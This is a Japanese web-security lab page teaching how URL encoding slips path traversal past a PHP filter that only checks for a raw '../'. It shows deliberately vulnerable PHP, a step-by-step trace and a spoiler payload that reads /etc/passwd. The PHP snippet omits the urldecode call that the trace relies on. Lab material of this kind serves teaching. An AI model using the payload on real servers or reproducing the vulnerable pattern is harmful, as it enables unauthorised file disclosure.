utsuroi path traversal labs Lab 03 / 5 — Practitioner
03

URL エンコード回避 — フィルタが見ているのは生文字列

Path traversal via URL encoding

Lab 02 のフィルタ回避を受けて、うつろい journal は「生の ../ または変種を含むなら拒否」に変更した:

// PHP - 危険パターンを拒否
$file = $_GET['file'];
if (preg_match('/\\.\\.\\//', $file)) {
    abort(400, 'Invalid path');
}
return readfile('/var/www/utsuroi/articles/' . $file);

しかし、フィルタが見ているのはサーバが受け取った文字列(Web サーバが URL デコード後)../ を URL エンコードして送れば、フィルタの段階では %2e%2e%2f として残るが、その後ファイルシステム関数を呼ぶ前にもう一度デコードされる(またはアプリケーション側で urldecode される)場合がある。

URL エンコードを使ってフィルタを回避し、/etc/passwd を取得してください。

クイック試行:
処理トレース
入力: (空)
↓ フィルタ: preg_match で ../ を検出
↓ アプリでもう一度 urldecode
↓ ファイルパスに連結
(まだファイルを取得していません)
URL エンコード回避の仕組み
攻撃者が送る:  ?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd

ステップ1: Web サーバが受信
  → クエリパラメータ自体は %2e%2e%2f... のまま

ステップ2: フィルタ実行
  preg_match('/\\.\\.\\//', $file) → 一致しない(% で始まる)
  → 検証通過

ステップ3: アプリが urldecode
  $real = urldecode($file) = '../../etc/passwd'
  
ステップ4: ファイル読み込み
  readfile('/var/www/utsuroi/articles/' . '../../etc/passwd')
  → /etc/passwd を読む
正解(ネタバレ)

ペイロード:%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

  • %2e = .
  • %2f = /
  • つまり %2e%2e%2f = ../

これをフィルタが「生文字列」で見ていれば ../ としては検出されないが、後続のデコード処理で ../ に戻る。